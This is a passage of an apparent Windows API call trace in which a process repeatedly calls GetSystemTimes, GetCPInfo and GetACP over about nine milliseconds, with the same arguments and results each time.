lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.201] GetACP () returned 0x4e4 [0052.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.201] GetACP () returned 0x4e4 [0052.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.201] GetACP () returned 0x4e4 [0052.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.201] GetACP () returned 0x4e4 [0052.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.201] GetACP () returned 0x4e4 [0052.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.201] GetACP () returned 0x4e4 [0052.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.202] GetACP () returned 0x4e4 [0052.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.202] GetACP () returned 0x4e4 [0052.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.202] GetACP () returned 0x4e4 [0052.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.202] GetACP () returned 0x4e4 [0052.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.202] GetACP () returned 0x4e4 [0052.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.202] GetACP () returned 0x4e4 [0052.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.202] GetACP () returned 0x4e4 [0052.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.203] GetACP () returned 0x4e4 [0052.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.203] GetACP () returned 0x4e4 [0052.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.203] GetACP () returned 0x4e4 [0052.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.203] GetACP () returned 0x4e4 [0052.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.203] GetACP () returned 0x4e4 [0052.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.203] GetACP () returned 0x4e4 [0052.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.203] GetACP () returned 0x4e4 [0052.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.203] GetACP () returned 0x4e4 [0052.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.203] GetACP () returned 0x4e4 [0052.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.204] GetACP () returned 0x4e4 [0052.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.204] GetACP () returned 0x4e4 [0052.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.204] GetACP () returned 0x4e4 [0052.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.204] GetACP () returned 0x4e4 [0052.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.204] GetACP () returned 0x4e4 [0052.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.204] GetACP () returned 0x4e4 [0052.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.204] GetACP () returned 0x4e4 [0052.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.204] GetACP () returned 0x4e4 [0052.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.204] GetACP () returned 0x4e4 [0052.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.205] GetACP () returned 0x4e4 [0052.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.205] GetACP () returned 0x4e4 [0052.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.205] GetACP () returned 0x4e4 [0052.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.205] GetACP () returned 0x4e4 [0052.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.205] GetACP () returned 0x4e4 [0052.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.205] GetACP () returned 0x4e4 [0052.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.205] GetACP () returned 0x4e4 [0052.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.205] GetACP () returned 0x4e4 [0052.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.205] GetACP () returned 0x4e4 [0052.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.206] GetACP () returned 0x4e4 [0052.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.206] GetACP () returned 0x4e4 [0052.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.206] GetACP () returned 0x4e4 [0052.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.206] GetACP () returned 0x4e4 [0052.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.206] GetACP () returned 0x4e4 [0052.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.206] GetACP () returned 0x4e4 [0052.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.206] GetACP () returned 0x4e4 [0052.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.206] GetACP () returned 0x4e4 [0052.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.206] GetACP () returned 0x4e4 [0052.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.207] GetACP () returned 0x4e4 [0052.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.207] GetACP () returned 0x4e4 [0052.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.207] GetACP () returned 0x4e4 [0052.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.207] GetACP () returned 0x4e4 [0052.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.207] GetACP () returned 0x4e4 [0052.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.207] GetACP () returned 0x4e4 [0052.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.207] GetACP () returned 0x4e4 [0052.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.207] GetACP () returned 0x4e4 [0052.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.207] GetACP () returned 0x4e4 [0052.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.208] GetACP () returned 0x4e4 [0052.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.208] GetACP () returned 0x4e4 [0052.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.208] GetACP () returned 0x4e4 [0052.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.208] GetACP () returned 0x4e4 [0052.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.208] GetACP () returned 0x4e4 [0052.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.208] GetACP () returned 0x4e4 [0052.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.208] GetACP () returned 0x4e4 [0052.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.208] GetACP () returned 0x4e4 [0052.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.208] GetACP () returned 0x4e4 [0052.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.209] GetACP () returned 0x4e4 [0052.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.209] GetACP () returned 0x4e4 [0052.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.209] GetACP () returned 0x4e4 [0052.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.209] GetACP () returned 0x4e4 [0052.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.209] GetACP () returned 0x4e4 [0052.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.209] GetACP () returned 0x4e4 [0052.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.209] GetACP () returned 0x4e4 [0052.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.209] GetACP () returned 0x4e4 [0052.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.209] GetACP () returned 0x4e4 [0052.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: 